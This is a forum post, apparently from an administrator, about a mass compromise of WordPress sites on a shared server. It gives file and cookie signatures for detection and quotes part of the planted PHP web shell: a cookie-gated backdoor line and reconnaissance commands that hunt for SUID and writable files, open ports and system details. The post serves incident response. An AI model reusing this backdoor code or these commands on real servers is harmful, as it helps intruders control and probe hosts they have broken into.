appleo

So far I have found 3 of these files. All are exactly 11128 bytes. Two had identical content, but not the third. Two were in non-WP directories (one was in an Apache log directory). All had image like names (one was jpg, one was jpeg and one png). I don’t know if this is the end of this trail or not.

No real answers here either. This is just to confirm a similar situation. A server with 100+ vhosted accounts, and almost all the wordpress installations (various versions thru 2.5) were seemingly hit. All on the 11th, and every one within several minutes, according to timestamps. Which would seem to argue for a single point of entry. But the sheer volume (hundreds of files) might suggest otherwise. Almost everything was either a wordpress file, or something disguised to look like a wordpress file. The script did look for writable areas, and occasionally found non-wordpress stuff, but that was the exception. There were two signatures. Files altered as FPMSummer posted with the first line changed. And new files where all the voodoo was (422 lines), with the first line:

<?php if(md5($_COOKIE['qwerty'])=="dfa1bcf40aa72fdb46ed40f7651fe76e"){

I believe all of these were ‘qwerty’ cookies. Grepping for either of those cookie names will find all the filesystem damage. A sample of that code:

if(!$safe_mode){^M
if($os_type == 'nix'){^M
$os .= execute('sysctl -n kern.ostype');^M
$os .= execute('sysctl -n kern.osrelease');^M
$os .= execute('sysctl -n kernel.ostype');^M
$os .= execute('sysctl -n kernel.osrelease');^M
if(empty($user)) $user = execute('id');^M
$aliases = array(^M
'' => '',^M
'find suid files'=>'find / -type f -perm -04000 -ls',^M
'find sgid files'=>'find / -type f -perm -02000 -ls',^M
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',^M
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',^M
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',^M
'show opened ports'=>'netstat -an | grep -i listen',^M
);^M
}else{^M
$os_name .= execute('ver');^M
$user .= execute('echo %username%');^M
$aliases = array(^M
'' => '',^M
'show runing services' => 'net start',^M
'show process list' => 'tasklist'^M
);^M
}^M
}^